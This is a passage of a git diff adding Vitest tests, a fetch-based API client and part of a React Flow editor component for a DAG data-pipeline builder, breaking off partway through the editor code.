+vi.stubGlobal('fetch', mockFetch);
+
+// Import AFTER mocking
+import { api, type DagStep } from '../api';
+
+beforeEach(() => {
+  mockFetch.mockReset();
+});
+
+describe('api.ts — field name correctness', () => {
+  it('DagStep interface uses "name" not "step_name"', async () => {
+    mockFetch.mockResolvedValueOnce({
+      ok: true,
+      status: 200,
+      json: async () => ({ item: { id: '1', pipe_template_id: 't1', name: 'my step', step_type: 'source', step_order: 0, config: {} } }),
+    });
+
+    const step: DagStep = await api.addStep('t1', { name: 'my step', step_type: 'source' }, 'tok');
+    expect(step.name).toBe('my step');
+    // step_name should NOT exist on the interface
+    expect((step as Record<string, unknown>).step_name).toBeUndefined();
+  });
+
+  it('addStep sends "name" field, not "step_name"', async () => {
+    mockFetch.mockResolvedValueOnce({
+      ok: true,
+      status: 201,
+      json: async () => ({ item: { id: '1', name: 'test', step_type: 'source', config: {} } }),
+    });
+
+    await api.addStep('tmpl-1', { name: 'test', step_type: 'source', config: {} }, 'my-token');
+
+    const [, opts] = mockFetch.mock.calls[0];
+    const body = JSON.parse(opts.body);
+    expect(body).toHaveProperty('name', 'test');
+    expect(body).not.toHaveProperty('step_name');
+  });
+
+  it('addStep does NOT send position_x or position_y', async () => {
+    mockFetch.mockResolvedValueOnce({
+      ok: true,
+      status: 201,
+      json: async () => ({ item: { id: '1', name: 'test', step_type: 'source', config: {} } }),
+    });
+
+    await api.addStep('tmpl-1', { name: 'test', step_type: 'source' }, 'tok');
+
+    const [, opts] = mockFetch.mock.calls[0];
+    const body = JSON.parse(opts.body);
+    expect(body).not.toHaveProperty('position_x');
+    expect(body).not.toHaveProperty('position_y');
+  });
+
+  it('updateStep sends "name" field, not "step_name"', async () => {
+    mockFetch.mockResolvedValueOnce({
+      ok: true,
+      status: 200,
+      json: async () => ({ item: { id: '1', name: 'updated', step_type: 'source', config: {} } }),
+    });
+
+    await api.updateStep('tmpl-1', 'step-1', { name: 'updated', config: { url: 'http://x' } }, 'tok');
+
+    const [, opts] = mockFetch.mock.calls[0];
+    const body = JSON.parse(opts.body);
+    expect(body).toHaveProperty('name', 'updated');
+    expect(body).not.toHaveProperty('step_name');
+  });
+});
+
+describe('api.ts — response unwrapping', () => {
+  it('listSteps unwraps { list: [...] } wrapper', async () => {
+    const steps = [
+      { id: '1', name: 's1', step_type: 'source', config: {} },
+      { id: '2', name: 's2', step_type: 'target', config: {} },
+    ];
+    mockFetch.mockResolvedValueOnce({
+      ok: true,
+      status: 200,
+      json: async () => ({ list: steps }),
+    });
+
+    const result = await api.listSteps('tmpl-1', 'tok');
+    expect(result).toEqual(steps);
+    expect(Array.isArray(result)).toBe(true);
+    expect(result).toHaveLength(2);
+  });
+
+  it('addStep unwraps { item: {...} } wrapper', async () => {
+    const step = { id: '1', name: 'test', step_type: 'source', config: {} };
+    mockFetch.mockResolvedValueOnce({
+      ok: true,
+      status: 201,
+      json: async () => ({ item: step }),
+    });
+
+    const result = await api.addStep('tmpl-1', { name: 'test', step_type: 'source' }, 'tok');
+    expect(result).toEqual(step);
+    expect(result.id).toBe('1');
+  });
+
+  it('listEdges unwraps { list: [...] } wrapper', async () => {
+    const edges = [{ id: 'e1', from_step_id: 's1', to_step_id: 's2' }];
+    mockFetch.mockResolvedValueOnce({
+      ok: true,
+      status: 200,
+      json: async () => ({ list: edges }),
+    });
+
+    const result = await api.listEdges('tmpl-1', 'tok');
+    expect(result).toEqual(edges);
+  });
+
+  it('addEdge unwraps { item: {...} } wrapper', async () => {
+    const edge = { id: 'e1', from_step_id: 's1', to_step_id: 's2' };
+    mockFetch.mockResolvedValueOnce({
+      ok: true,
+      status: 201,
+      json: async () => ({ item: edge }),
+    });
+
+    const result = await api.addEdge('tmpl-1', { from_step_id: 's1', to_step_id: 's2' }, 'tok');
+    expect(result).toEqual(edge);
+  });
+
+  it('validateDag unwraps { item: {...} } wrapper', async () => {
+    mockFetch.mockResolvedValueOnce({
+      ok: true,
+      status: 200,
+      json: async () => ({ item: { valid: true } }),
+    });
+
+    const result = await api.validateDag('tmpl-1', 'tok');
+    expect(result).toEqual({ valid: true });
+  });
+
+  it('deleteStep handles void/204 response', async () => {
+    mockFetch.mockResolvedValueOnce({
+      ok: true,
+      status: 204,
+      json: async () => { throw new Error('no body'); },
+    });
+
+    // Should not throw
+    await expect(api.deleteStep('tmpl-1', 'step-1', 'tok')).resolves.not.toThrow();
+  });
+
+  it('throws on API error with status and message', async () => {
+    mockFetch.mockResolvedValueOnce({
+      ok: false,
+      status: 401,
+      text: async () => '{"message":"Unauthorized"}',
+    });
+
+    await expect(api.addStep('tmpl-1', { name: 'x', step_type: 'source' }, 'bad-tok'))
+      .rejects.toThrow('API 401');
+  });
+});
diff --git a/web/src/__tests__/config-forms.test.tsx b/web/src/__tests__/config-forms.test.tsx
new file mode 100644
index 00000000..fee8b1e3
--- /dev/null
+++ b/web/src/__tests__/config-forms.test.tsx
@@ -0,0 +1,97 @@
+import { describe, it, expect, vi, beforeEach } from 'vitest';
+import { render, screen, fireEvent } from '@testing-library/react';
+import React from 'react';
+
+import StepConfigPanel from '../components/StepConfigPanel';
+
+const defaultProps = {
+  stepId: 's1',
+  stepName: 'My Source',
+  stepType: 'source',
+  config: {},
+  onUpdate: vi.fn(),
+  onDelete: vi.fn(),
+  onClose: vi.fn(),
+};
+
+beforeEach(() => {
+  vi.clearAllMocks();
+});
+
+describe('StepConfigPanel — structured config forms', () => {
+  it('shows endpoint URL field for source step type', () => {
+    render(<StepConfigPanel {...defaultProps} stepType="source" />);
+    expect(screen.getByLabelText(/endpoint url/i)).toBeInTheDocument();
+  });
+
+  it('shows method selector for source step type', () => {
+    render(<StepConfigPanel {...defaultProps} stepType="source" />);
+    expect(screen.getByLabelText(/method/i)).toBeInTheDocument();
+  });
+
+  it('shows field/operator/value for condition step type', () => {
+    render(<StepConfigPanel {...defaultProps} stepType="condition" />);
+    expect(screen.getByLabelText(/field/i)).toBeInTheDocument();
+    expect(screen.getByLabelText(/operator/i)).toBeInTheDocument();
+    expect(screen.getByLabelText(/value/i)).toBeInTheDocument();
+  });
+
+  it('shows ws_url for ws_source step type', () => {
+    render(<StepConfigPanel {...defaultProps} stepType="ws_source" />);
+    expect(screen.getByLabelText(/websocket url/i)).toBeInTheDocument();
+  });
+
+  it('shows host/port/service for grpc_source step type', () => {
+    render(<StepConfigPanel {...defaultProps} stepType="grpc_source" />);
+    expect(screen.getByLabelText(/host/i)).toBeInTheDocument();
+    expect(screen.getByLabelText(/port/i)).toBeInTheDocument();
+    expect(screen.getByLabelText(/service/i)).toBeInTheDocument();
+  });
+
+  it('shows connection_string/table for cdc_source step type', () => {
+    render(<StepConfigPanel {...defaultProps} stepType="cdc_source" />);
+    expect(screen.getByLabelText(/connection string/i)).toBeInTheDocument();
+    expect(screen.getByLabelText(/table/i)).toBeInTheDocument();
+  });
+
+  it('shows strategy for parallel_split step type', () => {
+    render(<StepConfigPanel {...defaultProps} stepType="parallel_split" />);
+    expect(screen.getByLabelText(/strategy/i)).toBeInTheDocument();
+  });
+
+  it('has Advanced JSON toggle that shows raw textarea', () => {
+    render(<StepConfigPanel {...defaultProps} stepType="source" />);
+    const toggle = screen.getByText(/advanced json/i);
+    expect(toggle).toBeInTheDocument();
+    fireEvent.click(toggle);
+    expect(screen.getByRole('textbox', { name: /json/i }) || screen.getByDisplayValue(/{}/)).toBeTruthy();
+  });
+
+  it('saves structured form data correctly via onUpdate', () => {
+    const onUpdate = vi.fn();
+    render(<StepConfigPanel {...defaultProps} stepType="source" config={{ endpoint_url: 'http://old' }} onUpdate={onUpdate} />);
+
+    const urlInput = screen.getByLabelText(/endpoint url/i);
+    fireEvent.change(urlInput, { target: { value: 'http://new-endpoint' } });
+
+    fireEvent.click(screen.getByText('Save'));
+
+    expect(onUpdate).toHaveBeenCalledWith('s1', 'My Source', expect.objectContaining({ endpoint_url: 'http://new-endpoint' }));
+  });
+
+  it('pre-fills form fields from existing config', () => {
+    render(<StepConfigPanel {...defaultProps} stepType="source" config={{ endpoint_url: 'http://example.com', method: 'POST' }} />);
+
+    const urlInput = screen.getByLabelText(/endpoint url/i) as HTMLInputElement;
+    expect(urlInput.value).toBe('http://example.com');
+  });
+
+  it('Type field is clearly read-only with label', () => {
+    render(<StepConfigPanel {...defaultProps} stepType="source" />);
+    // Type should not be an input field — it should be visually distinct
+    const typeDisplay = screen.getByText('source');
+    expect(typeDisplay).toBeInTheDocument();
+    // Should not be an <input> element
+    expect(typeDisplay.tagName).not.toBe('INPUT');
+  });
+});
diff --git a/web/src/__tests__/demo-mode.test.tsx b/web/src/__tests__/demo-mode.test.tsx
new file mode 100644
index 00000000..1239f585
--- /dev/null
+++ b/web/src/__tests__/demo-mode.test.tsx
@@ -0,0 +1,99 @@
+import { describe, it, expect, vi, beforeEach } from 'vitest';
+import { render, screen, fireEvent, within } from '@testing-library/react';
+import React from 'react';
+
+// Mock ReactFlow
+const mockReactFlow = vi.fn((props: Record<string, unknown>) => {
+  const children = props.children as React.ReactNode;
+  return React.createElement('div', { 'data-testid': 'reactflow' }, children);
+});
+vi.mock('@xyflow/react', () => ({
+  ReactFlow: (props: Record<string, unknown>) => mockReactFlow(props),
+  addEdge: vi.fn((conn: unknown, edges: unknown[]) => [...edges, conn]),
+  useNodesState: () => [[], vi.fn(), vi.fn()],
+  useEdgesState: () => [[], vi.fn(), vi.fn()],
+  Controls: () => React.createElement('div'),
+  MiniMap: () => React.createElement('div'),
+  Background: () => React.createElement('div'),
+  BackgroundVariant: { Dots: 'dots' },
+  ReactFlowProvider: ({ children }: { children: React.ReactNode }) =>
+    React.createElement('div', null, children),
+}));
+
+// Mock toast
+vi.mock('../components/Toast', () => ({
+  useToast: () => ({ success: vi.fn(), error: vi.fn(), info: vi.fn() }),
+  ToastProvider: ({ children }: { children: React.ReactNode }) =>
+    React.createElement('div', null, children),
+}));
+
+// Mock api — we'll spy on it
+vi.mock('../api', async () => {
+  const actual = await vi.importActual<Record<string, unknown>>('../api');
+  return {
+    ...actual,
+    api: {
+      listSteps: vi.fn().mockResolvedValue([]),
+      listEdges: vi.fn().mockResolvedValue([]),
+      addStep: vi.fn(),
+      updateStep: vi.fn(),
+      deleteStep: vi.fn(),
+      addEdge: vi.fn(),
+      deleteEdge: vi.fn(),
+      validateDag: vi.fn(),
+      executeDag: vi.fn(),
+    },
+  };
+});
+
+import DagEditor from '../components/DagEditor';
+import { api } from '../api';
+
+describe('Demo mode — standalone without auth', () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it('shows demo banner when token is empty or "dev-token"', () => {
+    render(<DagEditor templateId="demo" token="" />);
+    expect(screen.getByText(/demo mode/i)).toBeInTheDocument();
+  });
+
+  it('shows demo banner when token is "dev-token"', () => {
+    render(<DagEditor templateId="demo" token="dev-token" />);
+    expect(screen.getByText(/demo mode/i)).toBeInTheDocument();
+  });
+
+  it('shows Sign Up / Login link in demo mode', () => {
+    render(<DagEditor templateId="demo" token="" />);
+    const link = screen.getByText(/sign up/i);
+    expect(link).toBeInTheDocument();
+    expect(link.closest('a')).toHaveAttribute('href', '/login');
+  });
+
+  it('does NOT show demo banner when a real token is provided', () => {
+    render(<DagEditor templateId="demo" token="abc123-real-token" />);
+    expect(screen.queryByText(/demo mode/i)).not.toBeInTheDocument();
+  });
+
+  it('does NOT call API to load steps in demo mode', () => {
+    render(<DagEditor templateId="demo" token="" />);
+    expect(api.listSteps).not.toHaveBeenCalled();
+    expect(api.listEdges).not.toHaveBeenCalled();
+  });
+
+  it('validate works locally in demo mode without API call', async () => {
+    render(<DagEditor templateId="demo" token="" />);
+    const validateBtn = screen.getByRole('button', { name: /validate/i });
+    fireEvent.click(validateBtn);
+    // Should NOT have called the API validateDag
+    expect(api.validateDag).not.toHaveBeenCalled();
+  });
+
+  it('execute shows demo-mode warning instead of calling API', async () => {
+    render(<DagEditor templateId="demo" token="" />);
+    const executeBtn = screen.getByRole('button', { name: /execute/i });
+    fireEvent.click(executeBtn);
+    expect(api.executeDag).not.toHaveBeenCalled();
+  });
+});
diff --git a/web/src/__tests__/edge-delete.test.tsx b/web/src/__tests__/edge-delete.test.tsx
new file mode 100644
index 00000000..3201648b
--- /dev/null
+++ b/web/src/__tests__/edge-delete.test.tsx
@@ -0,0 +1,89 @@
+import { describe, it, expect, vi, beforeEach } from 'vitest';
+import { render, screen } from '@testing-library/react';
+import React from 'react';
+
+// Mock ReactFlow so we can inspect props passed to it
+const mockReactFlow = vi.fn(({ children }: { children?: React.ReactNode }) => (
+  <div data-testid="react-flow">{children}</div>
+));
+
+vi.mock('@xyflow/react', async () => {
+  const actual = await vi.importActual<typeof import('@xyflow/react')>('@xyflow/react');
+  return {
+    ...actual,
+    ReactFlow: (props: Record<string, unknown>) => {
+      mockReactFlow(props);
+      return <div data-testid="react-flow" />;
+    },
+    useNodesState: () => [[], vi.fn(), vi.fn()],
+    useEdgesState: () => [[], vi.fn(), vi.fn()],
+    Controls: () => null,
+    MiniMap: () => null,
+    Background: () => null,
+  };
+});
+
+// Mock the Toast module to provide a no-op context
+vi.mock('../components/Toast', () => ({
+  useToast: () => ({
+    success: vi.fn(),
+    error: vi.fn(),
+    info: vi.fn(),
+  }),
+  ToastProvider: ({ children }: { children: React.ReactNode }) => <>{children}</>,
+  ToastContainer: () => null,
+}));
+
+// Mock the api module
+vi.mock('../api', () => ({
+  api: {
+    listSteps: vi.fn().mockResolvedValue([]),
+    listEdges: vi.fn().mockResolvedValue([]),
+    addStep: vi.fn().mockResolvedValue({ id: 'new-1', name: 'test', step_type: 'source', config: {} }),
+    updateStep: vi.fn().mockResolvedValue({}),
+    deleteStep: vi.fn().mockResolvedValue(undefined),
+    addEdge: vi.fn().mockResolvedValue({ id: 'e1' }),
+    deleteEdge: vi.fn().mockResolvedValue(undefined),
+    validateDag: vi.fn().mockResolvedValue({ valid: true }),
+    executeDag: vi.fn().mockResolvedValue({ step_results: [] }),
+  },
+  STEP_TYPES: ['source', 'target'],
+}));
+
+import DagEditor from '../components/DagEditor';
+import { api } from '../api';
+
+beforeEach(() => {
+  vi.clearAllMocks();
+});
+
+describe('DagEditor — edge deletion', () => {
+  it('passes onEdgesDelete callback to ReactFlow', () => {
+    render(<DagEditor templateId="t1" token="tok" />);
+
+    // ReactFlow should have been called with onEdgesDelete prop
+    const lastCall = mockReactFlow.mock.calls[mockReactFlow.mock.calls.length - 1][0];
+    expect(lastCall).toHaveProperty('onEdgesDelete');
+    expect(typeof lastCall.onEdgesDelete).toBe('function');
+  });
+
+  it('passes deleteKeyCode to ReactFlow for keyboard deletion', () => {
+    render(<DagEditor templateId="t1" token="tok" />);
+
+    const lastCall = mockReactFlow.mock.calls[mockReactFlow.mock.calls.length - 1][0];
+    expect(lastCall).toHaveProperty('deleteKeyCode');
+  });
+
+  it('calls api.deleteEdge when onEdgesDelete fires', async () => {
+    render(<DagEditor templateId="t1" token="tok" />);
+
+    const lastCall = mockReactFlow.mock.calls[mockReactFlow.mock.calls.length - 1][0];
+    const deletedEdges = [{ id: 'edge-1', source: 's1', target: 's2' }];
+
+    // Simulate ReactFlow calling onEdgesDelete
+    lastCall.onEdgesDelete(deletedEdges);
+
+    // api.deleteEdge should be called with the edge id
+    expect(api.deleteEdge).toHaveBeenCalledWith('t1', 'edge-1', 'tok');
+  });
+});
diff --git a/web/src/__tests__/starter-templates.test.tsx b/web/src/__tests__/starter-templates.test.tsx
new file mode 100644
index 00000000..26b747e7
--- /dev/null
+++ b/web/src/__tests__/starter-templates.test.tsx
@@ -0,0 +1,109 @@
+import { describe, it, expect, vi, beforeEach } from 'vitest';
+import { render, screen, fireEvent } from '@testing-library/react';
+import React from 'react';
+
+// Mock ReactFlow
+vi.mock('@xyflow/react', () => ({
+  ReactFlow: ({ children }: { children: React.ReactNode }) =>
+    React.createElement('div', { 'data-testid': 'reactflow' }, children),
+  addEdge: vi.fn((conn: unknown, edges: unknown[]) => [...edges, conn]),
+  useNodesState: () => [[], vi.fn(), vi.fn()],
+  useEdgesState: () => [[], vi.fn(), vi.fn()],
+  Controls: () => React.createElement('div'),
+  MiniMap: () => React.createElement('div'),
+  Background: () => React.createElement('div'),
+  BackgroundVariant: { Dots: 'dots' },
+  ReactFlowProvider: ({ children }: { children: React.ReactNode }) =>
+    React.createElement('div', null, children),
+}));
+
+vi.mock('../components/Toast', () => ({
+  useToast: () => ({ success: vi.fn(), error: vi.fn(), info: vi.fn() }),
+  ToastProvider: ({ children }: { children: React.ReactNode }) =>
+    React.createElement('div', null, children),
+}));
+
+vi.mock('../api', async () => {
+  const actual = await vi.importActual<Record<string, unknown>>('../api');
+  return {
+    ...actual,
+    api: {
+      listSteps: vi.fn().mockResolvedValue([]),
+      listEdges: vi.fn().mockResolvedValue([]),
+      addStep: vi.fn(),
+      updateStep: vi.fn(),
+      deleteStep: vi.fn(),
+      addEdge: vi.fn(),
+      deleteEdge: vi.fn(),
+      validateDag: vi.fn(),
+      executeDag: vi.fn(),
+    },
+  };
+});
+
+// TemplatePicker must be importable
+import TemplatePicker from '../components/TemplatePicker';
+import { STARTER_TEMPLATES } from '../templates';
+
+describe('Starter templates', () => {
+  it('exports at least 3 starter templates', () => {
+    expect(STARTER_TEMPLATES.length).toBeGreaterThanOrEqual(3);
+  });
+
+  it('each template has name, description, steps, and edges', () => {
+    for (const tpl of STARTER_TEMPLATES) {
+      expect(tpl.name).toBeTruthy();
+      expect(tpl.description).toBeTruthy();
+      expect(Array.isArray(tpl.steps)).toBe(true);
+      expect(Array.isArray(tpl.edges)).toBe(true);
+      expect(tpl.steps.length).toBeGreaterThan(0);
+    }
+  });
+
+  it('ETL Pipeline template has source → transform → target', () => {
+    const etl = STARTER_TEMPLATES.find((t) => /etl/i.test(t.name));
+    expect(etl).toBeDefined();
+    const types = etl!.steps.map((s) => s.step_type);
+    expect(types).toContain('source');
+    expect(types).toContain('transform');
+    expect(types).toContain('target');
+  });
+
+  it('Webhook Router template has condition step', () => {
+    const wh = STARTER_TEMPLATES.find((t) => /webhook/i.test(t.name));
+    expect(wh).toBeDefined();
+    const types = wh!.steps.map((s) => s.step_type);
+    expect(types).toContain('condition');
+  });
+
+  it('CDC Replicator template has cdc_source step', () => {
+    const cdc = STARTER_TEMPLATES.find((t) => /cdc/i.test(t.name));
+    expect(cdc).toBeDefined();
+    const types = cdc!.steps.map((s) => s.step_type);
+    expect(types).toContain('cdc_source');
+  });
+
+  it('TemplatePicker renders template cards', () => {
+    const onSelect = vi.fn();
+    render(<TemplatePicker onSelect={onSelect} />);
+    // Should show at least 3 template cards
+    for (const tpl of STARTER_TEMPLATES) {
+      expect(screen.getByText(tpl.name)).toBeInTheDocument();
+    }
+  });
+
+  it('clicking a template card calls onSelect with template data', () => {
+    const onSelect = vi.fn();
+    render(<TemplatePicker onSelect={onSelect} />);
+    fireEvent.click(screen.getByText(STARTER_TEMPLATES[0].name));
+    expect(onSelect).toHaveBeenCalledWith(STARTER_TEMPLATES[0]);
+  });
+
+  it('TemplatePicker has a "Blank" option for starting empty', () => {
+    const onSelect = vi.fn();
+    render(<TemplatePicker onSelect={onSelect} />);
+    expect(screen.getByText(/blank/i)).toBeInTheDocument();
+    fireEvent.click(screen.getByText(/blank/i));
+    expect(onSelect).toHaveBeenCalledWith(null);
+  });
+});
diff --git a/web/src/__tests__/toast.test.tsx b/web/src/__tests__/toast.test.tsx
new file mode 100644
index 00000000..1520ba0b
--- /dev/null
+++ b/web/src/__tests__/toast.test.tsx
@@ -0,0 +1,112 @@
+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
+import { render, screen, fireEvent, act } from '@testing-library/react';
+import React from 'react';
+
+import { ToastProvider, useToast, ToastContainer } from '../components/Toast';
+
+// Helper component that exposes useToast for testing
+function ToastTrigger({ type, message }: { type: 'success' | 'error' | 'info'; message: string }) {
+  const toast = useToast();
+  return (
+    <button onClick={() => toast[type](message)}>
+      trigger-{type}
+    </button>
+  );
+}
+
+describe('Toast notification system', () => {
+  beforeEach(() => {
+    vi.useFakeTimers();
+  });
+
+  afterEach(() => {
+    vi.useRealTimers();
+  });
+
+  it('renders success toast when triggered', () => {
+    render(
+      <ToastProvider>
+        <ToastTrigger type="success" message="Step saved!" />
+      </ToastProvider>,
+    );
+
+    fireEvent.click(screen.getByText('trigger-success'));
+    expect(screen.getByText('Step saved!')).toBeInTheDocument();
+  });
+
+  it('renders error toast when triggered', () => {
+    render(
+      <ToastProvider>
+        <ToastTrigger type="error" message="API 401: Unauthorized" />
+      </ToastProvider>,
+    );
+
+    fireEvent.click(screen.getByText('trigger-error'));
+    expect(screen.getByText('API 401: Unauthorized')).toBeInTheDocument();
+  });
+
+  it('auto-dismisses success toast after 4 seconds', () => {
+    render(
+      <ToastProvider>
+        <ToastTrigger type="success" message="Done!" />
+      </ToastProvider>,
+    );
+
+    fireEvent.click(screen.getByText('trigger-success'));
+    expect(screen.getByText('Done!')).toBeInTheDocument();
+
+    act(() => {
+      vi.advanceTimersByTime(4100);
+    });
+
+    expect(screen.queryByText('Done!')).not.toBeInTheDocument();
+  });
+
+  it('error toast stays visible until manually dismissed', () => {
+    render(
+      <ToastProvider>
+        <ToastTrigger type="error" message="Failed!" />
+      </ToastProvider>,
+    );
+
+    fireEvent.click(screen.getByText('trigger-error'));
+    expect(screen.getByText('Failed!')).toBeInTheDocument();
+
+    act(() => {
+      vi.advanceTimersByTime(5000);
+    });
+
+    expect(screen.getByText('Failed!')).toBeInTheDocument();
+  });
+
+  it('can show multiple toasts simultaneously', () => {
+    render(
+      <ToastProvider>
+        <ToastTrigger type="success" message="First" />
+        <ToastTrigger type="error" message="Second" />
+      </ToastProvider>,
+    );
+
+    fireEvent.click(screen.getByText('trigger-success'));
+    fireEvent.click(screen.getByText('trigger-error'));
+
+    expect(screen.getByText('First')).toBeInTheDocument();
+    expect(screen.getByText('Second')).toBeInTheDocument();
+  });
+
+  it('dismiss button removes error toast', () => {
+    render(
+      <ToastProvider>
+        <ToastTrigger type="error" message="Dismiss me" />
+      </ToastProvider>,
+    );
+
+    fireEvent.click(screen.getByText('trigger-error'));
+    expect(screen.getByText('Dismiss me')).toBeInTheDocument();
+
+    const dismissBtn = screen.getByRole('button', { name: '×' });
+    fireEvent.click(dismissBtn);
+
+    expect(screen.queryByText('Dismiss me')).not.toBeInTheDocument();
+  });
+});
diff --git a/web/src/api.ts b/web/src/api.ts
new file mode 100644
index 00000000..0a98a63c
--- /dev/null
+++ b/web/src/api.ts
@@ -0,0 +1,146 @@
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Stacker DAG API client
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+const BASE = '/api/v1/pipes';
+
+export interface DagStep {
+  id: string;
+  pipe_template_id: string;
+  name: string;
+  step_type: string;
+  step_order: number;
+  config: Record<string, unknown>;
+}
+
+export interface DagEdge {
+  id: string;
+  pipe_template_id: string;
+  from_step_id: string;
+  to_step_id: string;
+  condition?: Record<string, unknown>;
+}
+
+export interface PipeTemplate {
+  id: string;
+  name: string;
+  description?: string;
+  is_dag: boolean;
+}
+
+export interface DagExecutionResult {
+  execution_id: string;
+  status: string;
+  total_steps: number;
+  completed_steps: number;
+  failed_steps: number;
+  skipped_steps: number;
+  execution_order: string[];
+  step_results: StepResult[];
+}
+
+export interface StepResult {
+  step_id: string;
+  step_name: string;
+  step_type: string;
+  status: string;
+  output_data?: Record<string, unknown>;
+  error?: string;
+}
+
+export const STEP_TYPES = [
+  'source', 'transform', 'condition', 'target',
+  'parallel_split', 'parallel_join',
+  'ws_source', 'ws_target', 'http_stream_source',
+  'grpc_source', 'grpc_target', 'cdc_source',
+  'amqp_source', 'kafka_source',
+] as const;
+
+export type StepType = typeof STEP_TYPES[number];
+
+const headers = (token: string) => ({
+  'Content-Type': 'application/json',
+  Authorization: `Bearer ${token}`,
+});
+
+async function apiFetch<T>(url: string, opts: RequestInit): Promise<T> {
+  const resp = await fetch(url, opts);
+  if (!resp.ok) {
+    const text = await resp.text();
+    throw new Error(`API ${resp.status}: ${text}`);
+  }
+  if (resp.status === 204 || opts.method === 'DELETE') {
+    return undefined as T;
+  }
+  const json = await resp.json();
+  if (json && typeof json === 'object') {
+    if ('list' in json && Array.isArray(json.list)) return json.list as T;
+    if ('item' in json && json.item !== undefined) return json.item as T;
+  }
+  return json as T;
+}
+
+export const api = {
+  // Templates
+  listTemplates(token: string): Promise<PipeTemplate[]> {
+    return apiFetch(`${BASE}/templates`, { headers: headers(token) });
+  },
+
+  // Steps
+  listSteps(templateId: string, token: string): Promise<DagStep[]> {
+    return apiFetch(`${BASE}/${templateId}/dag/steps`, { headers: headers(token) });
+  },
+  addStep(templateId: string, step: Partial<DagStep>, token: string): Promise<DagStep> {
+    return apiFetch(`${BASE}/${templateId}/dag/steps`, {
+      method: 'POST',
+      headers: headers(token),
+      body: JSON.stringify(step),
+    });
+  },
+  updateStep(templateId: string, stepId: string, data: Partial<DagStep>, token: string): Promise<DagStep> {
+    return apiFetch(`${BASE}/${templateId}/dag/steps/${stepId}`, {
+      method: 'PUT',
+      headers: headers(token),
+      body: JSON.stringify(data),
+    });
+  },
+  deleteStep(templateId: string, stepId: string, token: string): Promise<void> {
+    return apiFetch(`${BASE}/${templateId}/dag/steps/${stepId}`, {
+      method: 'DELETE',
+      headers: headers(token),
+    });
+  },
+
+  // Edges
+  listEdges(templateId: string, token: string): Promise<DagEdge[]> {
+    return apiFetch(`${BASE}/${templateId}/dag/edges`, { headers: headers(token) });
+  },
+  addEdge(templateId: string, edge: { from_step_id: string; to_step_id: string; condition?: Record<string, unknown> }, token: string): Promise<DagEdge> {
+    return apiFetch(`${BASE}/${templateId}/dag/edges`, {
+      method: 'POST',
+      headers: headers(token),
+      body: JSON.stringify(edge),
+    });
+  },
+  deleteEdge(templateId: string, edgeId: string, token: string): Promise<void> {
+    return apiFetch(`${BASE}/${templateId}/dag/edges/${edgeId}`, {
+      method: 'DELETE',
+      headers: headers(token),
+    });
+  },
+
+  // Validation & Execution
+  validateDag(templateId: string, token: string): Promise<{ valid: boolean; errors?: string[] }> {
+    return apiFetch(`${BASE}/${templateId}/dag/validate`, {
+      method: 'POST',
+      headers: headers(token),
+    });
+  },
+  executeDag(instanceId: string, input: Record<string, unknown>, token: string): Promise<DagExecutionResult> {
+    return apiFetch(`${BASE}/instances/${instanceId}/dag/execute`, {
+      method: 'POST',
+      headers: headers(token),
+      body: JSON.stringify(input),
+    });
+  },
+};
diff --git a/web/src/components/DagEditor.tsx b/web/src/components/DagEditor.tsx
new file mode 100644
index 00000000..74842ebd
--- /dev/null
+++ b/web/src/components/DagEditor.tsx
@@ -0,0 +1,385 @@
+import React, { useCallback, useState, useEffect, useRef } from 'react';
+import {
+  ReactFlow,
+  addEdge,
+  useNodesState,
+  useEdgesState,
+  Controls,
+  MiniMap,
+  Background,
+  BackgroundVariant,
+  type Connection,
+  type Edge,
+  type Node,
+  type ReactFlowInstance,
+} from '@xyflow/react';
+import '@xyflow/react/dist/style.css';
+
+import DagNode, { type DagNodeData } from './DagNode';
+import StepPalette from './StepPalette';
+import StepConfigPanel from './StepConfigPanel';
+import TemplatePicker from './TemplatePicker';
+import Toolbar from './Toolbar';
+import { useToast } from './Toast';
+import { api, type StepType, type DagStep, type DagEdge as ApiEdge } from '../api';
+import { stepColor } from '../theme';
+import { type StarterTemplate } from '../templates';
+
+const nodeTypes = { dag: DagNode };
+
+interface DagEditorProps {
+  templateId: string;
+  instanceId?: string;
+  token: string;
+}
+
+let stepCounter = 0;
+
+const DagEditor: React.FC<DagEditorProps> = ({ templateId, instanceId, token }) => {
+  const [nodes, setNodes, onNodesChange] = useNodesState<Node>([]);
+  const [edges, setEdges, onEdgesChange] = useEdgesState<Edge>([]);
+  const [selectedStep, setSelectedStep] = useState<string | null>(null);
+  const [validationResult, setValidationResult] = useState<{ valid: boolean; errors?: string[] } | null>(null);
+  const [executing, setExecuting] = useState(false);
+  const reactFlowWrapper = useRef<HTMLDivElement>(null);
+  const [reactFlowInstance, setReactFlowInstance] = useState<ReactFlowInstance | null>(null);
+  const toast = useToast();
+
+  const isDemo = !token || token === 'dev-token';
+  const [showTemplatePicker, setShowTemplatePicker] = useState(isDemo);
+
+  const onSelectTemplate = useCallback((tpl: StarterTemplate | null) => {
+    setShowTemplatePicker(false);
+    if (!tpl) return;
+    const newNodes = tpl.steps.map((s, i) => ({
+      id: s.id,
+      type: 'dag' as const,
+      position: { x: 100 + (i % 4) * 200, y: 80 + Math.floor(i / 4) * 120 },
+      data: { label: s.name, stepType: s.step_type, config: s.config } satisfies DagNodeData,
+    }));
+    const newEdges = tpl.edges.map((e, i) => ({
+      id: `tpl-edge-${i}`,
+      source: e.source,
+      target: e.target,
+      animated: true,
+      style: { stroke: '#888' },
+    }));
+    setNodes(newNodes);
+    setEdges(newEdges);
+    toast.success(`Loaded template: ${tpl.name}`);
+  }, [setNodes, setEdges, toast]);
+
+  // Load existing DAG (skip in demo mode)
+  useEffect(() => {
+    if (isDemo) return;
+    const load = async () => {
+      try {
+        const [steps, apiEdges] = await Promise.all([
+          api.listSteps(templateId, token),
+          api.listEdges(templateId, token),
+        ]);
+        setNodes(stepsToNodes(steps));
+        setEdges(apiEdgesToFlowEdges(apiEdges));
+      } catch {
+        // New template — start empty
+      }
+    };
+    load();
+  }, [templateId, token, setNodes, setEdges]);
+
+  const onConnect = useCallback(
+    (params: Connection) => {
+      setEdges((eds) => addEdge({ ...params, animated: true, style: { stroke: '#666' } }, eds));
+      if (!isDemo && params.source && params.target) {
